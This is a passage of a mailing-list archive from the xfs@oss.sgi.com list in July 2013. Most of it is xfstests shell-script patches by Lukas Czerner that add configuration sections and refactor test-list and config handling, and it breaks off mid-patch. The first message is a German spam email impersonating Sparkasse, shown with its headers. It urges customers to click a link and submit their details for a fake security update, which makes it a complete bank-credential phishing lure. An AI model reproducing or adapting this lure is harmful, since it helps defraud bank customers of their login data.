Received: (qmail 5039 invoked from network); 11 Jul 2013 09:44:11 -0000 Received: from unknown (HELO sapo.pt) (10.134.36.76) by relay1 with SMTP; 11 Jul 2013 09:44:11 -0000 Received: (qmail 22613 invoked from network); 11 Jul 2013 09:44:11 -0000 Received: from unknown (HELO SVCTX.bd.bigdutchman.com) (op141897@[200.178.189.24]) (envelope-sender ) by mta-auth02 (qmail-ptmail-1.0.0) with AES256-SHA encrypted SMTP for ; 11 Jul 2013 09:44:06 -0000 X-PTMail-RemoteIP: 200.178.189.24 Content-Type: multipart/alternative; boundary="===============0774392004==" MIME-Version: 1.0 Subject: Sparkasse Online-Banking Aktualisierung !! To: Recipients X-ASG-Orig-Subj: Sparkasse Online-Banking Aktualisierung !! From: " Sparkasse " Date: Thu, 11 Jul 2013 06:43:25 -0300 X-Barracuda-Connect: relay1.ptmail.sapo.pt[212.55.154.21] X-Barracuda-Start-Time: 1373535852 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.64 X-Barracuda-Spam-Status: No, SCORE=2.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA609_MID, BSF_SC0_SA_TO_FROM_ADDR_MATCH, BSF_SC7_SA_PATH_MISMATCH, HTML_MESSAGE, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136439 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.80 BSF_SC7_SA_PATH_MISMATCH BODY: Custom Phishing Mismatch 0.14 MISSING_MID Missing Message-Id: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 1.20 BSF_SC0_SA609_MID Custom Rule SA609_MID Message-Id: <20130711094419.15B55A42173@cuda.sgi.com> You will not see this in a MIME-aware mail reader. --===============0774392004== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Liebe Kunde, Die Sparkasse arbeitet derzeit an technischen Arbeiten in der Abteilung Int= ernet Banking. Dieser Abschnitt befasst sich mit der Installation einer neu= en Software zur Sicherung Ihres Internet-Banking-Kontos. Mit diesem Service= wird die Bank Ihr Konto vor Spam, Cyberkriminalismus und unberechtigtem Zu= griff auf Ihr Konto durch Dritte sch=FCtzen. Um diesen Service zu nutzen, empfehlen wir Ihnen den Link unten zu klicken = und die erforderlichen Informationen f=FCr die Aktualisierung einzureichen. Sparkasse Online-Banking Aktualisierung = http://www.sparkasse.de/Online-Banking.html Nach Abschluss der Vervollst=E4ndigung Ihrer Daten wird Ihr Internet-Bankin= g-Konto automatisch aktualisiert. Zus=E4tzlich wird sich einer unserer Mita= rbeiter mit Ihnen in Verbindung setzen um das Sicherheitsupdate fertigzuste= llen. Wir bedanken uns f=FCr Ihr Vertrauen und verbleiben Mit freundlichen Gr=FC=DFen, Sparkasse.de Sparkasse Kundendienst. --===============0774392004== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body
    <= br>Liebe Kunde,


    Die Sparkasse arbeitet derzeit an technisch= en Arbeiten in der Abteilung Internet Banking. Dieser Abschnitt befasst sic= h mit der Installation einer neuen Software zur Sicherung Ihres Internet-Ba= nking-Kontos. Mit diesem Service wird die Bank Ihr Konto vor Spam, Cyberkri= minalismus und unberechtigtem Zugriff auf Ihr Konto durch Dritte sch=FCtzen= .
    U= m diesen Service zu nutzen, empfehlen wir Ihnen den Link unten zu klicken u= nd die erforderlichen Informationen f=FCr die Aktualisierung einzureichen.<= /span>

    Sparkasse Online-Banking Aktualisierung 

    http://www.sparkasse.de/= Online-Banking.html


    Nach Abschluss der Vervollst=E4ndigung Ihrer Daten wi= rd Ihr Internet-Banking-Konto automatisch aktualisiert. Zus=E4tzlich wird s= ich einer unserer Mitarbeiter mit Ihnen in Verbindung setzen um das Sicherh= eitsupdate fertigzustellen.

    Wir bedanken uns f=FCr Ihr Vert= rauen und verbleiben


    Mit freundlichen Gr=FC=DFen,Sparkasse.de=
    Sp= arkasse Kundendienst. --===============0774392004==-- From lczerner@redhat.com Thu Jul 11 05:38:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E55627F3F for ; Thu, 11 Jul 2013 05:38:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BC6D18F8035 for ; Thu, 11 Jul 2013 03:38:14 -0700 (PDT) X-ASG-Debug-ID: 1373539093-04cb6c2a47b33e90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EZJ5r8wdb9fzFV2H for ; Thu, 11 Jul 2013 03:38:13 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcDUZ022832 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:13 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAYv003691; Thu, 11 Jul 2013 06:38:12 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 01/10 v2] xfstests: Run all tests when nothing is specified Date: Thu, 11 Jul 2013 12:37:56 +0200 X-ASG-Orig-Subj: [PATCH 01/10 v2] xfstests: Run all tests when nothing is specified Message-Id: <1373539085-8577-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539093 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently when no tests or test groups is specified xfstests will silently test nothing. Interestingly enough when test groups to exclude is specified the rest of the tests will be run. This commit changes that to run all possible tests (for a given file system) when no specific tests has been specified. This matches the old xfstests behaviour. Signed-off-by: Lukas Czerner --- check | 6 +++--- group | 5 ----- 2 files changed, 3 insertions(+), 8 deletions(-) delete mode 100644 group diff --git a/check b/check index ff8fbcf..71b179b 100755 --- a/check +++ b/check @@ -115,7 +115,7 @@ get_all_tests() for d in $SRC_GROUPS $FSTYP; do ls $SRC_DIR/$d/* | \ grep -v "\..*" | \ - grep -v group >> $tmp.list 2>/dev/null + grep -v "group\|Makefile" >> $tmp.list 2>/dev/null done } @@ -263,8 +263,8 @@ elif $have_test_arg; then # had test numbers, but none in group file ... do nothing touch $tmp.list else - # no test numbers, do everything from group file - sed -n -e '/^[0-9][0-9][0-9]*/s/[ ].*//p' $tmp.list + # no test numbers, do everything + get_all_tests fi # sort the list of tests into numeric order diff --git a/group b/group deleted file mode 100644 index 4e01f0c..0000000 --- a/group +++ /dev/null @@ -1,5 +0,0 @@ -# QA groups control file -# Defines test groups and nominal group owners -# - do not start group names with a digit -# - comment line before each group is "new" description -# -- 1.8.3.1 From lczerner@redhat.com Thu Jul 11 05:38:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BC5877F3F for ; Thu, 11 Jul 2013 05:38:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 65328304081 for ; Thu, 11 Jul 2013 03:38:16 -0700 (PDT) X-ASG-Debug-ID: 1373539092-04bdf02b8ebd9920001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id YdHwZM7fZI1nO8S0 for ; Thu, 11 Jul 2013 03:38:12 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcCtN015006 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:12 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAYu003691; Thu, 11 Jul 2013 06:38:11 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [RFC][PATCH 00/10 v2] xfstests: Add support for config section Date: Thu, 11 Jul 2013 12:37:55 +0200 X-ASG-Orig-Subj: [RFC][PATCH 00/10 v2] xfstests: Add support for config section Message-Id: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539092 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com This patch set adds support for sections in the configuration file while maintaining unchanged behaviour when no sections are present in the configuration file, or no configuration file is provided. V2: Recreate test list when FSTYP changed between sections Explanation, syntax and example follows. Configuration file with sections ================================ Configuration file with sections is useful for running xfstests on multiple file systems, or multiple file system setups in a single run without any help of external scripts. Syntax ------ Syntax for defining a section is the following: [section_name] Section name should consist of alphanumeric characters and '_'. Anything else is forbidden and the section will not be recognised. Each section in the configuration file should contain options in the format OPTION=value 'OPTION' must not contain any white space characters. 'value' can contain any character you want with one simple limitation - characters ' and " can only appear at the start and end of the 'value', however it is not required. Note that options are carried between sections so the same options does not have to be specified in each and every sections. However caution should be exercised not to leave unwanted options set from previous sections. Results ------- For every section xfstests will run with specified options and will produce separate results in the '$RESULT_BASE/$section_name' directory. Different mount options ----------------------- Specifying different mount options in difference config sections is allowed. When MOUNT_OPTIONS differs in the following section TEST_DEV will be remounted with new MOUNT_OPTIONS automatically before running the test. Multiple file systems --------------------- Having different file systems in different config sections is allowed. When FSTYP differs in the following section the FSTYP file system will be created automatically before running the test. Note that if MOUNT_OPTIONS, MKFS_OPTIONS, or FSCK_OPTIONS are not directly specified in the section it will be reset to the default for a given file system. You can also force the file system recreation by specifying RECREATE_TEST_DEV. Example ------- Here is an example of config file with sections: [ext4_4k_block_size] TEST_DEV=/dev/sda TEST_DIR=/mnt/test SCRATCH_DEV=/dev/sdb SCRATCH_MNT=/mnt/test1 MKFS_OPTIONS="-q -F -b4096" FSTYP=ext4 RESULT_BASE="`pwd`/results/`date +%d%m%y_%H%M%S`" [ext4_1k_block_size] MKFS_OPTIONS="-q -F -b1024" [ext4_nojournal] MKFS_OPTIONS="-q -F -b4096 -O ^has_journal" [xfs_filesystem] MKFS_OPTIONS="-f" FSTYP=xfs [ext3_filesystem] FSTYP=ext3 MOUNT_OPTIONS="-o noatime" From lczerner@redhat.com Thu Jul 11 05:38:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9553D7F54 for ; Thu, 11 Jul 2013 05:38:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E49C2AC002 for ; Thu, 11 Jul 2013 03:38:16 -0700 (PDT) X-ASG-Debug-ID: 1373539095-04cb6c2a42b33e90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id AZAkYBNGIJlV2Xni for ; Thu, 11 Jul 2013 03:38:15 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcFo2031018 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:15 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAYx003691; Thu, 11 Jul 2013 06:38:14 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 03/10 v2] xfstests: Refactor code for obtaining test list Date: Thu, 11 Jul 2013 12:37:58 +0200 X-ASG-Orig-Subj: [PATCH 03/10 v2] xfstests: Refactor code for obtaining test list Message-Id: <1373539085-8577-4-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539095 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Put the code for obtaining the list of test into one place which makes things more readable. It will also allow us to re-init the list in the future if we need it. Signed-off-by: Lukas Czerner --- check | 100 ++++++++++++++++++++++++++++++++++++------------------------------ 1 file changed, 54 insertions(+), 46 deletions(-) diff --git a/check b/check index 71b179b..dc972d7 100755 --- a/check +++ b/check @@ -154,6 +154,56 @@ _timestamp() echo -n " [$now]" } +_prepare_test_list() +{ + unset list + # Tests specified on the command line + if [ -s $tmp.arglist ]; then + cat $tmp.arglist > $tmp.list + else + touch $tmp.list + fi + + # Specified groups to include + for group in $GROUP_LIST; do + list=$(get_group_list $group) + if [ -z "$list" ]; then + echo "Group \"$group\" is empty or not defined?" + exit 1 + fi + + for t in $list; do + grep -s "^$t\$" $tmp.list >/dev/null || \ + echo "$t" >>$tmp.list + done + done + + if ! $have_test_arg && [ -z "$GROUP_LIST" ]; then + # no test numbers, do everything + get_all_tests + fi + + # Specified groups to exclude + for xgroup in $XGROUP_LIST; do + list=$(get_group_list $xgroup) + if [ -z "$list" ]; then + echo "Group \"$xgroup\" is empty or not defined?" + exit 1 + fi + + trim_test_list $list + done + + # sort the list of tests into numeric order + list=`sort -n $tmp.list | uniq` + rm -f $tmp.list $tmp.tmp $tmp.grep + + if $randomize + then + list=`echo $list | awk -f randomize.awk` + fi +} + # Process command arguments first. while [ $# -gt 0 ]; do case "$1" in @@ -164,35 +214,11 @@ while [ $# -gt 0 ]; do -nfs) FSTYP=nfs ;; -g) group=$2 ; shift ; - group_list=$(get_group_list $group) - if [ -z "$group_list" ]; then - echo "Group \"$group\" is empty or not defined?" - exit 1 - fi - - [ ! -s $tmp.list ] && touch $tmp.list - for t in $group_list; do - grep -s "^$t\$" $tmp.list >/dev/null || \ - echo "$t" >>$tmp.list - done - + GROUP_LIST="$GROUP_LIST $group" ;; -x) xgroup=$2 ; shift ; - - # Note: behaviour is dependent on command line ordering of - # -g and -x parameters. If there are no preceding -g commands, - # this works on all tests, otherwise just the tests specified by - # the early -g inclusions. - [ ! -s $tmp.list ] && get_all_tests - - group_list=$(get_group_list $xgroup) - if [ -z "$group_list" ]; then - echo "Group \"$xgroup\" is empty or not defined?" - exit 1 - fi - - trim_test_list $group_list + XGROUP_LIST="$XGROUP_LIST $xgroup" ;; -X) xfile=$2; shift ; @@ -244,7 +270,7 @@ if $have_test_arg; then if egrep "^$test_name" $group_file >/dev/null ; then # in group file ... OK - echo $SRC_DIR/$1 >>$tmp.list + echo $SRC_DIR/$1 >>$tmp.arglist else # oops echo "$1 - unknown test, ignored" @@ -256,25 +282,7 @@ if $have_test_arg; then done fi -if [ -s $tmp.list ]; then - # found some valid test numbers ... this is good - : -elif $have_test_arg; then - # had test numbers, but none in group file ... do nothing - touch $tmp.list -else - # no test numbers, do everything - get_all_tests -fi - -# sort the list of tests into numeric order -list=`sort -n $tmp.list` -rm -f $tmp.list $tmp.tmp $tmp.grep - -if $randomize -then - list=`echo $list | awk -f randomize.awk` -fi +_prepare_test_list # we need common/rc if ! . ./common/rc -- 1.8.3.1 From lczerner@redhat.com Thu Jul 11 05:38:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C80F97F3F for ; Thu, 11 Jul 2013 05:38:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A551D8F8039 for ; Thu, 11 Jul 2013 03:38:17 -0700 (PDT) X-ASG-Debug-ID: 1373539096-04cbb04691de1ea0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id bjvCmpm3dAMTVbGu for ; Thu, 11 Jul 2013 03:38:16 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcGAV031025 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:16 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAZ0003691; Thu, 11 Jul 2013 06:38:15 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 04/10 v2] xfstests: Allow to recheck options in common/rc Date: Thu, 11 Jul 2013 12:37:59 +0200 X-ASG-Orig-Subj: [PATCH 04/10 v2] xfstests: Allow to recheck options in common/rc Message-Id: <1373539085-8577-5-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539096 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Move configuration checks into separate function to allow us to recheck the options without the need to reinclude the whole source file which is ugly. We still run the check on include. Signed-off-by: Lukas Czerner --- common/rc | 74 ++++++++++++++++++++++++++++++++------------------------------- 1 file changed, 38 insertions(+), 36 deletions(-) diff --git a/common/rc b/common/rc index fe6bbfc..0dd30a3 100644 --- a/common/rc +++ b/common/rc @@ -2131,46 +2131,48 @@ run_check() "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'" } -################################################################################ - -if [ "$iam" != new ] -then - # make some further configuration checks here - - if [ "$TEST_DEV" = "" ] - then - echo "common/rc: Error: \$TEST_DEV is not set" - exit 1 - fi - - # if $TEST_DEV is not mounted, mount it now as XFS - if [ -z "`_fs_type $TEST_DEV`" ] - then - # $TEST_DEV is not mounted - if ! _test_mount - then - echo "common/rc: retrying test device mount with external set" - [ "$USE_EXTERNAL" != "yes" ] && export USE_EXTERNAL=yes - if ! _test_mount - then - echo "common/rc: could not mount $TEST_DEV on $TEST_DIR" - exit 1 - fi - fi - fi +init_rc() +{ + if [ "$iam" == new ] + then + return + fi + # make some further configuration checks here + if [ "$TEST_DEV" = "" ] + then + echo "common/rc: Error: \$TEST_DEV is not set" + exit 1 + fi - if [ "`_fs_type $TEST_DEV`" != "$FSTYP" ] - then - echo "common/rc: Error: \$TEST_DEV ($TEST_DEV) is not a MOUNTED $FSTYP filesystem" - $DF_PROG $TEST_DEV - exit 1 - fi + # if $TEST_DEV is not mounted, mount it now as XFS + if [ -z "`_fs_type $TEST_DEV`" ] + then + # $TEST_DEV is not mounted + if ! _test_mount + then + echo "common/rc: retrying test device mount with external set" + [ "$USE_EXTERNAL" != "yes" ] && export USE_EXTERNAL=yes + if ! _test_mount + then + echo "common/rc: could not mount $TEST_DEV on $TEST_DIR" + exit 1 + fi + fi + fi - # Figure out if we need to add -F ("foreign", deprecated) option to xfs_io - xfs_io -c stat $TEST_DIR 2>&1 | grep -q "is not on an XFS filesystem" && \ + if [ "`_fs_type $TEST_DEV`" != "$FSTYP" ] + then + echo "common/rc: Error: \$TEST_DEV ($TEST_DEV) is not a MOUNTED $FSTYP filesystem" + $DF_PROG $TEST_DEV + exit 1 + fi + # Figure out if we need to add -F ("foreign", deprecated) option to xfs_io + xfs_io -c stat $TEST_DIR 2>&1 | grep -q "is not on an XFS filesystem" && \ export XFS_IO_PROG="$XFS_IO_PROG -F" +} -fi +init_rc +################################################################################ # make sure this script returns success /bin/true -- 1.8.3.1 From lczerner@redhat.com Thu Jul 11 05:38:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1145B7F54 for ; Thu, 11 Jul 2013 05:38:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id EEAE5304081 for ; Thu, 11 Jul 2013 03:38:18 -0700 (PDT) X-ASG-Debug-ID: 1373539098-04cbb04690de1ea0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id f7S53qjNHONgD21N for ; Thu, 11 Jul 2013 03:38:18 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcHmx027019 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 11 Jul 2013 06:38:17 -0400 Received: from localhost.localdomain.com (dhcp-1-186.brq.redhat.com [10.34.1.186]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6BAcAZ1003691; Thu, 11 Jul 2013 06:38:16 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: lczerner@redhat.com Subject: [PATCH 05/10 v2] xfstests: Allow to re-read configuration Date: Thu, 11 Jul 2013 12:38:00 +0200 X-ASG-Orig-Subj: [PATCH 05/10 v2] xfstests: Allow to re-read configuration Message-Id: <1373539085-8577-6-git-send-email-lczerner@redhat.com> In-Reply-To: <1373539085-8577-1-git-send-email-lczerner@redhat.com> References: <1373539085-8577-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373539098 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Move configuration initialization into a function so we can re-read it without the need to reinclude the common/config file which would be ugly. This is in preparation for adding support for sections into config files. Signed-off-by: Lukas Czerner --- common/config | 104 +++++++++++++++++++++++++++++++--------------------------- 1 file changed, 55 insertions(+), 49 deletions(-) diff --git a/common/config b/common/config index 1679acf..34c99e1 100644 --- a/common/config +++ b/common/config @@ -214,64 +214,70 @@ esac known_hosts() { - [ "$HOST_CONFIG_DIR" ] || HOST_CONFIG_DIR=`pwd`/configs - - [ -f /etc/xfsqa.config ] && . /etc/xfsqa.config - [ -f $HOST_CONFIG_DIR/$HOST ] && . $HOST_CONFIG_DIR/$HOST - [ -f $HOST_CONFIG_DIR/$HOST.config ] && . $HOST_CONFIG_DIR/$HOST.config - - # Mandatory Config values. - MC="" - [ -z "$EMAIL" ] && MC="$MC EMAIL" - [ -z "$TEST_DIR" ] && MC="$MC TEST_DIR" - [ -z "$TEST_DEV" ] && MC="$MC TEST_DEV" - - if [ -n "$MC" ]; then - echo "Warning: need to define parameters for host $HOST" - echo " or set variables:" - echo " $MC" - exit 1 - fi + [ "$HOST_CONFIG_DIR" ] || HOST_CONFIG_DIR=`pwd`/configs + + [ -f /etc/xfsqa.config ] && export HOST_OPTIONS=/etc/xfsqa.config + [ -f $HOST_CONFIG_DIR/$HOST ] && export HOST_OPTIONS=$HOST_CONFIG_DIR/$HOST + [ -f $HOST_CONFIG_DIR/$HOST.config ] && export HOST_OPTIONS=$HOST_CONFIG_DIR/$HOST.config } -if [ -f "$HOST_OPTIONS" ]; then - . "$HOST_OPTIONS" -else - known_hosts +if [ ! -f "$HOST_OPTIONS" ]; then + known_hosts fi -echo $TEST_DEV | grep -q ":" > /dev/null 2>&1 -if [ ! -b "$TEST_DEV" -a "$?" != "0" ]; then - echo "common/config: Error: \$TEST_DEV ($TEST_DEV) is not a block device or a NFS filesystem" - exit 1 +if [ -f "$HOST_OPTIONS" ]; then + . $HOST_OPTIONS fi -if [ ! -d "$TEST_DIR" ]; then - echo "common/config: Error: \$TEST_DIR ($TEST_DIR) is not a directory" - exit 1 -fi +get_next_config() { + # Mandatory Config values. + MC="" + [ -z "$EMAIL" ] && MC="$MC EMAIL" + [ -z "$TEST_DIR" ] && MC="$MC TEST_DIR" + [ -z "$TEST_DEV" ] && MC="$MC TEST_DEV" + + if [ -n "$MC" ]; then + echo "Warning: need to define parameters for host $HOST" + echo " or set variables:" + echo " $MC" + exit 1 + fi -# a btrfs tester will set only SCRATCH_DEV_POOL, we will put first of its dev -# to SCRATCH_DEV and rest to SCRATCH_DEV_POOL to maintain the backward compatibility -if [ ! -z "$SCRATCH_DEV_POOL" ]; then - if [ ! -z "$SCRATCH_DEV" ]; then - echo "common/config: Error: \$SCRATCH_DEV should be unset when \$SCRATCH_DEV_POOL is set" - exit 1 - fi - SCRATCH_DEV=`echo $SCRATCH_DEV_POOL | awk '{print $1}'` - SCRATCH_DEV_POOL=`echo $SCRATCH_DEV_POOL | awk '{ ORS=" "; for (i = 2; i <= NF; i++) print $i}'` -fi + echo $TEST_DEV | grep -q ":" > /dev/null 2>&1 + if [ ! -b "$TEST_DEV" -a "$?" != "0" ]; then + echo "common/config: Error: \$TEST_DEV ($TEST_DEV) is not a block device or a NFS filesystem" + exit 1 + fi -echo $SCRATCH_DEV | grep -q ":" > /dev/null 2>&1 -if [ ! -z "$SCRATCH_DEV" -a ! -b "$SCRATCH_DEV" -a "$?" != "0" ]; then - echo "common/config: Error: \$SCRATCH_DEV ($SCRATCH_DEV) is not a block device or a NFS filesystem" - exit 1 -fi + if [ ! -d "$TEST_DIR" ]; then + echo "common/config: Error: \$TEST_DIR ($TEST_DIR) is not a directory" + exit 1 + fi -if [ ! -z "$SCRATCH_MNT" -a ! -d "$SCRATCH_MNT" ]; then - echo "common/config: Error: \$SCRATCH_MNT ($SCRATCH_MNT) is not a directory" - exit 1 -fi + # a btrfs tester will set only SCRATCH_DEV_POOL, we will put first of its dev + # to SCRATCH_DEV and rest to SCRATCH_DEV_POOL to maintain the backward compatibility + if [ ! -z "$SCRATCH_DEV_POOL" ]; then + if [ ! -z "$SCRATCH_DEV" ]; then + echo "common/config: Error: \$SCRATCH_DEV should be unset when \$SCRATCH_DEV_POOL is set" + exit 1 + fi + SCRATCH_DEV=`echo $SCRATCH_DEV_POOL | awk '{print $1}'` + SCRATCH_DEV_POOL=`echo $SCRATCH_DEV_POOL | awk '{ ORS=" "; for (i = 2; i <= NF; i++) print 